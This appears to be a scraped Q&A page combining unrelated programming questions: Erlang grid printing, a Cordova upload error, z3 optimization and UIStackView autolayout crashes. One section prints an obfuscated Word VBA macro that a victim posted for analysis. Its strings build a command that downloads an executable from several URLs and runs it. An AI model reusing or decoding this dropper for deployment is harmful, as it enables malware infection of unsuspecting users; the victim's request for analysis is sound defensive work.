Printing a Grid of cells in erlang - printing

I'm new to erlang and programming in general.
I want to create a "Grid" of cells, where a cell is presented as:
+ +
+ +
What I know is the width and the height of the Grid.
So, for example, a 3x3 Grid is represented as:
+ + + +
+ + + +
+ + + +
+ + + +
print_grid(Height,Width) ->
and than some code here.
Can someone maybe give me a tip on how to solve this?

For this issue, you may use this function
grid(_,0)->ok;
grid(W,H)->
io:format(string:copies("+ ",W-1)++"+~n~n"),
grid(W,H-1).
output:
sol:grid(6,3).
+ + + + + +
+ + + + + +
+ + + + + +
15> sol:grid(3,3).
+ + +
+ + +
+ + +

I doubt that you do not need other feature like adding some characters in the cells, but you should be able to modify this:
4> Pgrid= fun(W,H) -> L = lists:foldl(fun(_,Acc) -> "+ " ++ Acc end,"~n~n",lists:seq(1,W+1)),
4> G = lists:foldl(fun(_,Acc)-> L ++ Acc end,[],lists:seq(1,H+1)),
4> io:format(G)
4> end.
#Fun<erl_eval.12.54118792>
5> Pgrid(6,3).
+ + + + + + +
+ + + + + + +
+ + + + + + +
+ + + + + + +
ok
6>

Related

When I wanted to load an image into my cordova ios app, it tells me that the image is not found

In my app there is a function where it allows me to upload a photo, when I click to upload it and select the photo after it does not upload the photo to the server.
And me showing this error in xcode:
4 Midica 0x000000010471b07c __25-[CDVCamera takePicture:]_block_invoke + 1084
5 libdispatch.dylib 0x00000001050d06d4 _dispatch_call_block_and_release + 32
6 libdispatch.dylib 0x00000001050d23b4 _dispatch_client_callout + 20
7 libdispatch.dylib 0x00000001050d4f2c _dispatch_queue_override_invoke + 1052
8 libdispatch.dylib 0x00000001050e6500 _dispatch_root_queue_drain + 408
9 libdispatch.dylib 0x00000001050e6f0c _dispatch_worker_thread2 + 196
10 libsystem_pthread.dylib 0x00000001f0ea60b8 _pthread_wqthread + 228
11 libsystem_pthread.dylib 0x00000001f0ea5e94 start_wqthread + 8
2021-12-01 10:41:00.874693+0100 Midica[16299:4370500] Error opening file http://localhost:52474/local-filesystem/var/mobile/Containers/Data/Application/333C35EE-D28F-48DA-A04C-00AB1A384A89/tmp/cdv_photo_014.jpg: Error Domain=NSCocoaErrorDomain Code=260 "The file “cdv_photo_014.jpg” couldn’t be opened because there is no such file." UserInfo={NSFilePath=/local-filesystem/var/mobile/Containers/Data/Application/333C35EE-D28F-48DA-A04C-00AB1A384A89/tmp/cdv_photo_014.jpg, NSUnderlyingError=0x2826aadf0 {Error Domain=NSPOSIXErrorDomain Code=2 "No such file or directory"}}
2021-12-01 10:41:00.874802+0100 Midica[16299:4370500] FileTransferError {
code = 1;
source = "http://localhost:52474/local-filesystem/var/mobile/Containers/Data/Application/333C35EE-D28F-48DA-A04C-00AB1A384A89/tmp/cdv_photo_014.jpg";
target = "http://www.seciconsulting.com/mercati_rionali/Mercati%2520Pdc/upload_foto.php";
}
And this is my code:
$(document).on('tap', '#scatta_foto1', function(event) {
event.preventDefault();
if (app.isJQMGhostClick(event)) {
return;
}
navigator.camera.getPicture(function(imageData) {
var options = new FileUploadOptions();
options.fileKey = "file";
options.fileName = imageData.substr(imageData.lastIndexOf('/') + 1);
options.mimeType = "image/jpg";
options.chunkedMode = true;
app.setV('immagine1', options.fileName);
app.setV('img1_salv', options.fileName);
var ft = new FileTransfer();
ft.upload(imageData, encodeURI(app.getV('root') + 'upload_foto.php'), function win(r) {
$('#immagine1').attr('src', encodeURI(app.getV('root_img') + options.fileName));
$('.foto1').show();
}, function fail(error) {
alert('Image: ' + imageData + 'Failed because: ' + error.code + ' source: ' + error.source+ ' target: ' + error.target + ' status: ' + error.status + ' body: ' + error.body + ' exception: ' + error.exception);
}, options, true);
}, function(message) {
}, {
quality : 50,
encodingType : Camera.EncodingType.JPG,
destinationType : Camera.DestinationType.FILE_URI,
sourceType : navigator.camera.PictureSourceType.PHOTOLIBRARY
});
event.stopImmediatePropagation();
});

Speeding up z3 optimizer

I have a set of linear constraints defined on a set of real parameters. The aim is to find a solution of parameters that satisfies maximum number of these constraints. I use the Optimizer in z3 but it is really slow. The number of constraints is 100 and the number of parameters is 9, which is not a large number. I use the following code:
from z3 import *
s = Optimize()
W = RealVector('w', 9)
s.add(And([And(w >= -100, w <= 100) for w in W]))
**Add soft constraints from a text file
out = s.check()
Following is a sample of the soft constraints, each with weight 1, that are added to the problem:
w__0 + 7*w__1 + 181*w__2 + 84*w__3 + 21*w__4 + 192*w__5 + 36*w__6 + 59*w__7 + 51*w__8 > 0
w__0 + 2*w__1 + 127*w__2 + 58*w__3 + 24*w__4 + 275*w__5 + 28*w__6 + 160*w__7 + 25*w__8 < 0
w__0 + 11*w__1 + 138*w__2 + 76*w__3 + 0*w__4 + 0*w__5 + 33*w__6 + 42*w__7 + 35*w__8 < 0
w__0 + 2*w__1 + 81*w__2 + 60*w__3 + 22*w__4 + 0*w__5 + 28*w__6 + 29*w__7 + 25*w__8 < 0
w__0 + 0*w__1 + 84*w__2 + 82*w__3 + 31*w__4 + 125*w__5 + 38*w__6 + 23*w__7 + 23*w__8 < 0
w__0 + 9*w__1 + 140*w__2 + 94*w__3 + 0*w__4 + 0*w__5 + 33*w__6 + 73*w__7 + 45*w__8 > 0
w__0 + 8*w__1 + 197*w__2 + 74*w__3 + 0*w__4 + 0*w__5 + 26*w__6 + 119*w__7 + 39*w__8 > 0
w__0 + 8*w__1 + 120*w__2 + 0*w__3 + 0*w__4 + 0*w__5 + 30*w__6 + 18*w__7 + 38*w__8 > 0
w__0 + 7*w__1 + 161*w__2 + 86*w__3 + 0*w__4 + 0*w__5 + 30*w__6 + 17*w__7 + 47*w__8 > 0
w__0 + 4*w__1 + 120*w__2 + 68*w__3 + 0*w__4 + 0*w__5 + 30*w__6 + 71*w__7 + 34*w__8 < 0
w__0 + 7*w__1 + 187*w__2 + 50*w__3 + 33*w__4 + 392*w__5 + 34*w__6 + 83*w__7 + 34*w__8 > 0
w__0 + 2*w__1 + 87*w__2 + 0*w__3 + 23*w__4 + 0*w__5 + 29*w__6 + 77*w__7 + 25*w__8 < 0
w__0 + 1*w__1 + 97*w__2 + 68*w__3 + 21*w__4 + 0*w__5 + 27*w__6 + 110*w__7 + 22*w__8 < 0
w__0 + 4*w__1 + 123*w__2 + 80*w__3 + 15*w__4 + 176*w__5 + 32*w__6 + 44*w__7 + 34*w__8 < 0
w__0 + 6*w__1 + 195*w__2 + 70*w__3 + 0*w__4 + 0*w__5 + 31*w__6 + 33*w__7 + 31*w__8 > 0
w__0 + 0*w__1 + 101*w__2 + 64*w__3 + 17*w__4 + 0*w__5 + 21*w__6 + 25*w__7 + 21*w__8 < 0
w__0 + 12*w__1 + 92*w__2 + 62*w__3 + 7*w__4 + 258*w__5 + 28*w__6 + 93*w__7 + 44*w__8 > 0
w__0 + 1*w__1 + 88*w__2 + 62*w__3 + 24*w__4 + 44*w__5 + 30*w__6 + 42*w__7 + 23*w__8 < 0
I know that the performance of the solution will depend on the nature of the problem but with 100 such constraints the computations go on forever. Is there any additional option that I can use to make this faster?
I also implemented the fu-malik algorithm myself by extracting the core, even with that it's really slow.

What is this VBA malware code trying to do?

My other half was sent a piece of malware in MS word VBA. The document was opened, editing enabled and the Trojan was missed by the anti virus for some reason.
I'm 99% sure the system has been cleaned and the there are no lasting effects, however I'd like to understand what the code was trying to do so I can be 100% sure.
What I have managed to translate is beyond my skill.
This is the original function from the VBA:
Function BfXNd()
Dim nORTSq(3)
nORTSq(0) = Right(LCsbFFjF, 428)
nORTSq(1) = Left(JErht, 810)
nORTSq(2) = Mid(pjzflRs, 58, 796)
Dim rnMCEl(3)
rnMCEl(0) = Left(JErht, 810)
rnMCEl(1) = Mid(pjzflRs, 58, 796)
rnMCEl(2) = MidB(iOGKfiB, 537, 348)
Dim HXiIk(2)
HXiIk(0) = Left(JErht, 810)
HXiIk(1) = Mid(pjzflRs, 58, 796)
kRRCNwn = Chr(Format(7 + 7 + 1 + 16 + 68)) + "md /V:O/" + Chr(Format(4 + 4 + 1 + 11 + 47)) + Chr(Format(2 + 2 + 0 + 5 + 25)) + "s^e^t e^" + "4= ^ ^ ^ " + " ^ ^ ^ ^ ^ ^}^}^" + "{^h" + Chr(Format(7 + 7 + 1 + 16 + 68)) + "^t^a" + Chr(Format(7 + 7 + 1 + 16 + 68)) + "^};^ka^" + "er^b;Bv^M$ ^met^I^-^e^k^" + "ovn^I^;)BvM^$^ ,iE^S^$(^e^li" + "^Fd^a^oln^w^oD.^W^W^Y${^y" + "r^t^{)" + Chr(Format(4 + 4 + 1 + 11 + 47)) + "R" + "^w$ ni^ i^ES$(h" + Chr(Format(7 + 7 + 1 + 16 + 68)) + "aer^o^f" + "^;^'ex^e.'^+o^bV$+'^\'+" + Chr(Format(7 + 7 + 1 + 16 + 68)) + "^i" + "lbup:vne^$=^BvM^$;'68^9'^ =^ ^"
Dim WlsRmu(5)
WlsRmu(0) = MidB(iOGKfiB, 537, 348)
WlsRmu(1) = MidB(iOGKfiB, 537, 348)
WlsRmu(2) = Right(LCsbFFjF, 428)
WlsRmu(3) = Right(LCsbFFjF, 428)
WlsRmu(4) = Left(JErht, 810)
Dim ojijX(2)
ojijX(0) = MidB(iOGKfiB, 537, 348)
ojijX(1) = MidB(iOGKfiB, 537, 348)
Dim nHDNir(2)
nHDNir(0) = Mid(pjzflRs, 58, 796)
nHDNir(1) = Right(LCsbFFjF, 428)
jhcbfQ = "o^bV$;)'^#'(t^i^lpS.^'lk^U4^um" + "j4S/s^e^.ynnadrm//:" + "^p^tt^h^#JEVk5^m" + Chr(Format(7 + 7 + 1 + 16 + 68)) + "^W" + "/r^b.^mo" + Chr(Format(7 + 7 + 1 + 16 + 68)) + ".no" + Chr(Format(7 + 7 + 1 + 16 + 68)) + "^e" + Chr(Format(7 + 7 + 1 + 16 + 68)) + "i^pa//:^p^tt^h#^A^i1i^U" + Chr(Format(7 + 7 + 1 + 16 + 68)) + "^d^" + "I^Q/^mo" + Chr(Format(7 + 7 + 1 + 16 + 68)) + "^.^sn" + "o^it^u^lo^s-ah" + "sna^d//:^ptt^h#bu^A"
Dim tmiOA(5)
tmiOA(0) = MidB(iOGKfiB, 537, 348)
tmiOA(1) = Left(JErht, 810)
tmiOA(2) = Left(JErht, 810)
tmiOA(3) = Mid(pjzflRs, 58, 796)
tmiOA(4) = Mid(pjzflRs, 58, 796)
pHiJQ = "^q^HHT^M/m" + "o" + Chr(Format(7 + 7 + 1 + 16 + 68)) + ".^i^lam^p^us^ten//:^p^tth#z^" + "O^SdrnmX/^mo" + Chr(Format(7 + 7 + 1 + 16 + 68)) + ".no^is^sa^" + "pmo" + Chr(Format(7 + 7 + 1 + 16 + 68)) + "ht" + "i^a^f//:^p^t^th'^=" + Chr(Format(4 + 4 + 1 + 11 + 47)) + "Rw^$;t" + "n^ei^l" + Chr(Format(4 + 4 + 1 + 11 + 47)) + "^b^e^W^.teN" + " t" + Chr(Format(7 + 7 + 1 + 16 + 68)) + "^e^jbo^-^wen=W^W" + "^Y$ lle^hsr^e^wo^p&&^f^or" + " /^L %^t ^in (^374;^-^1^;0)d^o" + " ^s^e^t ^qhL=!^qhL!!e^4:~%^t,"
Dim isfqZj(5)
isfqZj(0) = Left(JErht, 810)
isfqZj(1) = MidB(iOGKfiB, 537, 348)
isfqZj(2) = Mid(pjzflRs, 58, 796)
isfqZj(3) = MidB(iOGKfiB, 537, 348)
isfqZj(4) = Right(LCsbFFjF, 428)
Dim HCOVDH(2)
HCOVDH(0) = MidB(iOGKfiB, 537, 348)
HCOVDH(1) = Left(JErht, 810)
Dim YuAhz(5)
YuAhz(0) = Left(JErht, 810)
YuAhz(1) = Mid(pjzflRs, 58, 796)
YuAhz(2) = Right(LCsbFFjF, 428)
YuAhz(3) = Mid(pjzflRs, 58, 796)
YuAhz(4) = Mid(pjzflRs, 58, 796)
vflzlZjAjXX = "1!&&^i^f" + " %^t ^ls^s ^1 " + Chr(Format(7 + 7 + 1 + 16 + 68)) + "^al^l " + "%^qhL:^~^5%" + Chr(Format(2 + 2 + 0 + 5 + 25)) + ""
BfXNd = kRRCNwn + jhcbfQ + pHiJQ + vflzlZjAjXX
Dim kmYzM(4)
kmYzM(0) = MidB(iOGKfiB, 537, 348)
kmYzM(1) = Mid(pjzflRs, 58, 796)
kmYzM(2) = Left(JErht, 810)
kmYzM(3) = Mid(pjzflRs, 58, 796)
Dim hNkzi(5)
hNkzi(0) = Mid(pjzflRs, 58, 796)
hNkzi(1) = Left(JErht, 810)
hNkzi(2) = Left(JErht, 810)
hNkzi(3) = Mid(pjzflRs, 58, 796)
hNkzi(4) = MidB(iOGKfiB, 537, 348)
End Function
It's encrypted code.
There's no way to tell what it's doing without running it far enough to have it decrypt itself.
When run, the strings will be converted back into commands of some sort, at which point you can tell what it's going to do.
If you want to examine it, spin up a windows Virtual Machine (you can get them free from Microsoft), install Word and you can step through the code using the Debugger, which is in the "Macros" menu in Word.

UIStackView - Removing styled label children causes crash

I'm getting crashes, sometimes when I try to remove all arrangedSubviews in a UIStackView. If I use only UILabel with no styling, it works fine.
I have this function to remove the children:
extension UIStackView {
func removeAllArrangedSubviews() {
for child in self.arrangedSubviews {
self.removeArrangedSubview(child)
child.removeFromSuperview()
}
}
}
I setup the UILabel like so:
public class func setToLabel(label:UILabel) {
label.setFontRegular(10)
label.setFontColor(BaseStyleColors.c4)
}
I have this to setup the fonts:
public class FontHelpers {
public class func systemFontWithMonospacedNumbers(currentFont:UIFont) -> UIFont {
let features = [
[
UIFontFeatureTypeIdentifierKey: kNumberSpacingType,
UIFontFeatureSelectorIdentifierKey: kMonospacedNumbersSelector
]
]
let fontDescriptor = currentFont.fontDescriptor().fontDescriptorByAddingAttributes(
[UIFontDescriptorFeatureSettingsAttribute: features]
)
return UIFont(descriptor: fontDescriptor, size: currentFont.pointSize)
}
public static var bodyStyleFont = UIFont.preferredFontForTextStyle(UIFontTextStyleBody)
public static var headlineStyleFont = UIFont.preferredFontForTextStyle(UIFontTextStyleHeadline)
public class func useBodyFontWithSize(size:CGFloat) -> UIFont {
return UIFont(descriptor: self.bodyStyleFont.fontDescriptor(), size: size)
}
public class func useHeadlineFontWithSize(size:CGFloat) -> UIFont {
return UIFont(descriptor: self.headlineStyleFont.fontDescriptor(), size: size)
}
public class func useSystemFontMediumWithSize(size:CGFloat) -> UIFont {
return UIFont(name: ".SFUIText-Medium", size: size) ?? self.useBodyFontWithSize(size)
}
public class func useSystemFontSemiBoldWithSize(size:CGFloat) -> UIFont {
return UIFont(name: ".SFUIText-SemiBold", size: size) ?? self.useBodyFontWithSize(size)
}
}
Label extension
extension UILabel {
func setFontColor(color:UIColor) {
self.textColor = color
}
func setFontDisplayMedium(size:CGFloat) {
self.font = FontHelpers.systemFontWithMonospacedNumbers(FontHelpers.useSystemFontMediumWithSize(size))
}
func setFontMedium(size:CGFloat) {
self.font = FontHelpers.useSystemFontMediumWithSize(size)
}
func setFontRegular(size:CGFloat) {
self.font = FontHelpers.useBodyFontWithSize(size)
}
func setFontSemiBold(size:CGFloat) {
self.font = FontHelpers.useSystemFontSemiBoldWithSize(size)
}
}
In console I get this error:
Auto layout internal error. Cannot find an outgoing row head for incoming head during optimization of variable with near-zero coefficient, which should never happen.
2016-04-04 08:09:59.877 MyApp[49788:4979069] *** Terminating app due to uncaught exception 'NSInternalInconsistencyException', reason: '{objective 0x7f9fe3fc9350: <250:289.293> + <250:-3.58537>*0x7f9fe141ccf0:UISV-canvas-connection.marker{id: 1121} + <250:2.58537>*0x7f9fe141d080:UISV-alignment.marker{id: 1123} + <998:-0.999999, 250:2.58537>*0x7f9fe1439130:UISV-alignment.marker{id: 1094} + <998:0.999999, 250:-2.58537>*0x7f9fe1439250:UISV-alignment.marker{id: 1095} + <750:1, 250:1>*0x7f9fe14395e0.negError{id: 1099} + <750:1, 250:1>*0x7f9fe1439750.negError{id: 1126} + <750:1, 250:1>*0x7f9fe1439a10.negError{id: 1103} + <750:1, 250:1>*0x7f9fe1439a70.negError{id: 1105} + <998:1, 250:-0.585366>*0x7f9fe1439e10:UISV-canvas-connection.marker{id: 1106} + <998:-1, 250:0.585366>*0x7f9fe143a010:UISV-canvas-connection.marker{id: 1113} + <998:-1, 250:0.585366>*0x7f9fe143a6f0:UISV-spacing.marker{id: 1115} + <999:1, 998:1, 250:-1.58537>*0x7f9fe143a860:UISV-fill-proportionally.negError{id: 1117} + <999:1, 998:-1, 250:1.58537>*0x7f9fe143a860:UISV-fill-proportionally.posErrorMarker{id: 1116} + <998:2>*0x7f9fe143abd0:UISV-fill-proportionally.negError{id: 1119} + <250:3.58537>*0x7f9fe143ae70:UISV-canvas-connection.marker{id: 1120} + <750:1, 250:1>*0x7f9fe1446d20.negError{id: 1010} + <750:1, 250:1>*0x7f9fe1449b30.negError{id: 981} + <998:2>*0x7f9fe145c160:UISV-fill-proportionally.negError{id: 1003} + <998:-1, 250:-0.585365>*0x7f9fe1460980:UISV-canvas-connection.marker{id: 1019} + <998:1, 250:0.585365>*0x7f9fe1460b60:UISV-canvas-connection.marker{id: 1026} + <999:1, 998:-1, 250:-1.58537>*0x7f9fe1460d00:UISV-fill-proportionally.negError{id: 1030} + <999:1, 998:1, 250:1.58537>*0x7f9fe1460d00:UISV-fill-proportionally.posErrorMarker{id: 1029} + <998:-1, 250:-0.585366>*0x7f9fe1461610:UISV-canvas-connection.marker{id: 1048} + <998:1, 250:0.585366>*0x7f9fe1461810:UISV-canvas-connection.marker{id: 1055} + <750:1, 250:1>*0x7f9fe14618b0.negError{id: 1018} + <750:1, 250:1>*0x7f9fe1463960.negError{id: 1016} + <998:1, 250:0.585365>*0x7f9fe1464720:UISV-spacing.marker{id: 1028} + <999:1, 998:1>*0x7f9fe1464cd0:UISV-fill-proportionally.negError{id: 1001} + <999:1, 998:-1>*0x7f9fe1464cd0:UISV-fill-proportionally.posErrorMarker{id: 1000} + <750:1, 250:1>*0x7f9fe1468c90.negError{id: 1012} + <750:1, 250:1>*0x7f9fe1468e00.negError{id: 1039} + <750:1, 250:1>*0x7f9fe1469250.negError{id: 987} + <750:1, 250:1>*0x7f9fe14692b0.negError{id: 989} + <998:-1>*0x7f9fe1469960:UISV-alignment.marker{id: 1007} + <998:1>*0x7f9fe1469a80:UISV-alignment.marker{id: 1008} + <998:-1>*0x7f9fe146b870:UISV-canvas-connection.marker{id: 1004} + <998:1>*0x7f9fe146b960:UISV-canvas-connection.marker{id: 1005} + <999:-2.42144e-07, 998:-1, 250:-2>*0x7f9fe146d360:UISV-spacing.marker{id: 999} + <998:1, 250:0.585366>*0x7f9fe146eeb0:UISV-spacing.marker{id: 1057} + <999:1, 998:-1, 250:-1.58537>*0x7f9fe146efd0:UISV-fill-proportionally.negError{id: 1059} + <999:1, 998:1, 250:1.58537>*0x7f9fe146efd0:UISV-fill-proportionally.posErrorMarker{id: 1058} + <250:-2.58537>*0x7f9fe14723c0:UISV-alignment.marker{id: 1066} + <999:-2.42144e-07, 998:-1, 250:-2>*0x7f9fe1472ad0:UISV-canvas-connection.marker{id: 997} + <999:1, 998:1, 250:-1.58537>*0x7f9fe14752a0:UISV-fill-proportionally.negError{id: 1088} + <999:1, 998:-1, 250:1.58537>*0x7f9fe14752a0:UISV-fill-proportionally.posErrorMarker{id: 1087} + <998:2>*0x7f9fe1475610:UISV-fill-proportionally.negError{id: 1090} + <998:-0.999999, 250:3.58537>*0x7f9fe14758b0:UISV-canvas-connection.marker{id: 1091} + <998:0.999999, 250:-3.58537>*0x7f9fe14759a0:UISV-canvas-connection.marker{id: 1092} + <250:3.58537>*0x7f9fe14764e0:UISV-canvas-connection.marker{id: 1033} + <250:-3.58537>*0x7f9fe14765d0:UISV-canvas-connection.marker{id: 1034} + <250:2.58537>*0x7f9fe1476b90:UISV-alignment.marker{id: 1036} + <250:-2.58537>*0x7f9fe1476cb0:UISV-alignment.marker{id: 1037} + <750:1, 250:1>*0x7f9fe1478bf0.negError{id: 983} + <250:-2.62021>*0x7f9fe14798a0:UISV-spacing.marker{id: 1163} + <999:2.42144e-07, 998:1, 250:2>*0x7f9fe147a220:UISV-canvas-connection.marker{id: 990} + <998:2>*0x7f9fe147c1b0:UISV-fill-proportionally.posErrorMarker{id: 1031} + <750:1, 250:1>*0x7f9fe147ccf0.negError{id: 1041} + <750:1, 250:1>*0x7f9fe147ce60.negError{id: 1068} + <750:1, 250:1>*0x7f9fe147d120.negError{id: 1045} + <750:1, 250:1>*0x7f9fe147d180.negError{id: 1047} + <998:2>*0x7f9fe1484350:UISV-fill-proportionally.posErrorMarker{id: 1060} + <250:3.58537>*0x7f9fe14845f0:UISV-canvas-connection.marker{id: 1062} + <250:-3.58537>*0x7f9fe14846e0:UISV-canvas-connection.marker{id: 1063} + <250:2.58537>*0x7f9fe14849f0:UISV-alignment.marker{id: 1065} + <750:1, 250:1>*0x7f9fe1486c40.negError{id: 1070} + <750:1, 250:1>*0x7f9fe1486db0.negError{id: 1097} + <750:1, 250:1>*0x7f9fe1487070.negError{id: 1074} + <750:1, 250:1>*0x7f9fe14870d0.negError{id: 1076} + <998:1, 250:-0.585366>*0x7f9fe14874a0:UISV-canvas-connection.marker{id: 1077} + <998:-1, 250:0.585366>*0x7f9fe14876a0:UISV-canvas-connection.marker{id: 1084} + <998:-1, 250:0.585366>*0x7f9fe1487890:UISV-spacing.marker{id: 1086} + <250:-2.58537>*0x7f9fe14889b0:UISV-alignment.marker{id: 1124} + <750:1, 250:1>*0x7f9fe1488d40.negError{id: 1128} + <250:2.62021>*0x7f9fe1488ee0:UISV-canvas-connection.marker{id: 1154} + <750:1, 250:1>*0x7f9fe1489170.negError{id: 1132} + <750:1, 250:1>*0x7f9fe14891d0.negError{id: 1134} + <999:2.42144e-07, 998:1, 250:2>*0x7f9fe1489570:UISV-canvas-connection.marker{id: 1135} + <999:-2.42144e-07, 998:-1, 250:-2>*0x7f9fe1489770:UISV-canvas-connection.marker{id: 1142} + <999:-2.42144e-07, 998:-1, 250:-2>*0x7f9fe1489e50:UISV-spacing.marker{id: 1144} + <999:1, 998:1>*0x7f9fe1489fc0:UISV-fill-proportionally.negError{id: 1146} + <999:1, 998:-1>*0x7f9fe1489fc0:UISV-fill-proportionally.posErrorMarker{id: 1145} + <998:2>*0x7f9fe148a330:UISV-fill-proportionally.negError{id: 1148} + <998:-1>*0x7f9fe148a5d0:UISV-canvas-connection.marker{id: 1149} + <998:1>*0x7f9fe148a6c0:UISV-canvas-connection.marker{id: 1150} + <998:-1>*0x7f9fe148ac80:UISV-alignment.marker{id: 1152} + <998:1>*0x7f9fe148ada0:UISV-alignment.marker{id: 1153} + <250:-2.62021>*0x7f9fe148b200:UISV-spacing.marker{id: 1156} + <250:-2.62021>*0x7f9fe148b2c0:UISV-canvas-connection.marker{id: 1155} + <250:-2.62021>*0x7f9fe148b3e0:UISV-spacing.marker{id: 1157} + <250:-2.62021>*0x7f9fe148bbb0:UISV-spacing.marker{id: 1159} + <250:0.965157>*0x7f9fe148c4d0:UISV-fill-equally.marker{id: 1160} + <250:0.965157>*0x7f9fe148c850:UISV-fill-equally.marker{id: 1162} + <998:-0.999999, 250:0.965157>*0x7f9fe148d220:UISV-fill-equally.marker{id: 1164} + <250:-0.620209>*0x7f9fe148d270:UISV-fill-equally.marker{id: 1158} + <250:-2.62021>*0x7f9fe148d450:UISV-spacing.marker{id: 1161} + <250:-2.62021>*0x7f9fe148ff30:UISV-spacing.marker{id: 1165} + <250:2.62021>*0x7f9fe1520c60.marker{id: 919} + <250:-1.26154>*0x7f9fe15eeda0.marker{id: 917} + <250:-1.26154>*0x7f9fe50bb470:UISV-canvas-connection.marker{id: 1174} + <999:2>*0x7f9fe50c51e0.negError{id: 922} + <999:2>*0x7f9fe50cefe0.negError{id: 925} + <998:1>*0x7f9fe5113050.marker{id: 899} + <250:-1.58537>*0x7f9fe5130060.marker{id: 902} + <250:-1.58537>*0x7f9fe513af60.marker{id: 905} + <998:0.999999, 250:-1.58537>*0x7f9fe51502a0.marker{id: 908} + <250:-1.58537>*0x7f9fe5164440.marker{id: 911} + <250:-0.620209>*0x7f9fe516ba50:UISV-fill-equally.marker{id: 1171} + <998:1>*0x7f9fe517b4b0.marker{id: 914} + <250:0.965157>*0x7f9fe53e18a0:UISV-fill-equally.marker{id: 1168} + <250:0.00905983>*UIStackView:0x7f9fe1526830.Height{id: 966} + <999:0.00277778>*_UILayoutGuide:0x7f9fe53be860.Width{id: 923} + <999:0.00277778>*_UILayoutGuide:0x7f9fe53be9f0.Width{id: 926}}: internal error. Setting empty vector for variable MyApp.StyledLabelT1:0x7f9fe53d8120'4'.Height{id: 898}.'
Auto layout internal error. Cannot find an outgoing row head for incoming head during optimization of variable with near-zero coefficient, which should never happen.
Call stack:
*** First throw call stack:
(
0 CoreFoundation 0x000000010e136d85 __exceptionPreprocess + 165
1 libobjc.A.dylib 0x0000000110dcedeb objc_exception_throw + 48
2 CoreFoundation 0x000000010e136cbd +[NSException raise:format:] + 205
3 Foundation 0x000000010efa7acc -[NSISObjectiveLinearExpression setPriorityVector:forKnownAbsentVariable:] + 76
4 Foundation 0x000000010f14ac44 __128-[NSISObjectiveLinearExpression replaceVariable:withExpression:processVariableNewToReceiver:processVariableDroppedFromReceiver:]_block_invoke + 297
5 Foundation 0x000000010efa46bf -[NSISLinearExpression enumerateVariablesAndCoefficients:] + 350
6 Foundation 0x000000010f14ab04 -[NSISObjectiveLinearExpression replaceVariable:withExpression:processVariableNewToReceiver:processVariableDroppedFromReceiver:] + 369
7 Foundation 0x000000010efa57ee -[NSISEngine substituteOutAllOccurencesOfBodyVar:withExpression:] + 633
8 Foundation 0x000000010efa8789 -[NSISEngine pivotToMakeBodyVar:newHeadOfRowWithHead:andDropRow:] + 330
9 Foundation 0x000000010efb2c21 -[NSISEngine removeConstraintWithMarker:] + 707
10 Foundation 0x000000010ef99899 -[NSLayoutConstraint _removeFromEngine:] + 229
11 UIKit 0x0000000110139d81 -[UIView(UIConstraintBasedLayout) _layoutEngine_willRemoveLayoutConstraint:] + 173
12 UIKit 0x000000011013a6b6 -[UIView(UIConstraintBasedLayout) nsli_removeConstraint:] + 114
13 UIKit 0x000000011013a62d -[UIView(UIConstraintBasedLayout) _removeConstraint:] + 301
14 UIKit 0x000000011014adde _UIViewRemoveConstraintsMadeDanglyByChangingSuperview + 1028
15 UIKit 0x000000010f8fc504 __45-[UIView(Hierarchy) _postMovedFromSuperview:]_block_invoke + 61
16 UIKit 0x000000010f8fc461 -[UIView(Hierarchy) _postMovedFromSuperview:] + 544
17 UIKit 0x000000010f8fa489 __UIViewWasRemovedFromSuperview + 213
18 UIKit 0x000000010f8f9fbf -[UIView(Hierarchy) removeFromSuperview] + 474
If I modify the method to also clear any sub UIStackViews, I 100% of the times get a crash, like so:
extension UIStackView {
func removeAllArrangedSubviews() {
for child in self.arrangedSubviews {
if let childStackView = child as? UIStackView {
childStackView.removeAllArrangedSubviews()
}
self.removeArrangedSubview(child)
child.removeFromSuperview()
}
}
}
Versions: I'm running Xcode 7.3 and iOS 9.3.

Application crashed when push viewcontroller with animate YES

I came across a weird problem when using autolayout. In my xibs, I add some Aspect Ratio constraints. When I push a view controller with animate YES, it crashes with "NSInternalInconsistencyException" and "Cannot find an outgoing row head for incoming head UIView:" something like that. When the animated is set to NO,it seems ok. And this happens in lower ios8.
Then I found something in AutoLayout views make app crash on popViewController. I followed narsil's answer,and somehow fix it. But I couldn't figure it out the reason. It seems I had to remove every Aspect ratio constraint in the viewWillDisappear method whenever it leaves the controller.
Is there any other way to solve this?
Here is the log,I just cut out part of it.
[4150:60b] *** Terminating app due to uncaught exception 'NSInternalInconsistencyException', reason: '<NSISEngine: 0x7f8749c3f650>{ Rows:
0x7f8749c5f500.posErrorMarker{id: 259} == 135 + 1*0x7f8749f80610.marker{id: 80} + 3*0x7f8749f80f00.marker{id: 178} + 1*0x7f8749f80f50.marker{id: 179} + -1*0x7f8749f81310.marker{id: 198} + 1*0x7f8749f81360.marker{id: 199} + 2*0x7f8749f81400.marker{id: 203} + 1*0x7f8749f81770.marker{id: 221} + 1*0x7f8749f81810.marker{id: 224} + -1*0x7f8749f82b30.marker{id: 235} + -1*0x7f8749f82bd0.marker{id: 239} + 1*0x7f8749f82cc0.marker{id: 245} + 1*0x7f8749f82d10.marker{id: 247} + 1*0x7f8749c5f500.negError{id: 260} + 3*0x7f8749f6dc30.posErrorMarker{id: 343} + -3*0x7f8749f6dc30.negError{id: 344}
0x7f8749c63650.negError{id: 288} == 0 + -1*0x7f8749f80f00.marker{id: 178} + -1*0x7f8749f81400.marker{id: 203} + 1*0x7f8749c63650.posErrorMarker{id: 287} + -1*0x7f8749f6dc30.posErrorMarker{id: 343} + 1*0x7f8749f6dc30.negError{id: 344}
0x7f8749c63e50.posErrorMarker{id: 289} == 284 + -9.48148*0x7f8749f80570.marker{id: 79} + -0.333333*0x7f8749f80fa0.marker{id: 181} + -0.333333*0x7f8749f81090.marker{id: 186} + -0.666667*0x7f8749f810e0.marker{id: 188} + 0.333333*0x7f8749f81130.marker{id: 189} + -0.333333*0x7f8749f811d0.marker{id: 191} + -0.333333*0x7f8749f81220.marker{id: 194} + 1*0x7f8749f812c0.marker{id: 197} + 0.666667*0x7f8749f82c70.marker{id: 244} + 4.74074*0x7f8749c5f580.posErrorMarker{id: 261} + -4.74074*0x7f8749c5f580.negError{id: 262} + 1*0x7f8749c63e50.negError{id: 290}
Statistics:
171 rows. Variable counts:
1 -> 40
2 -> 50
3 -> 7
4 -> 11
5 -> 6
6 -> 5
7 -> 5
8 -> 2
9 -> 4
10 -> 6
11 -> 6
12 -> 4
13 -> 6
14 -> 5
15 -> 3
16 -> 4
17 -> 4
19 -> 3
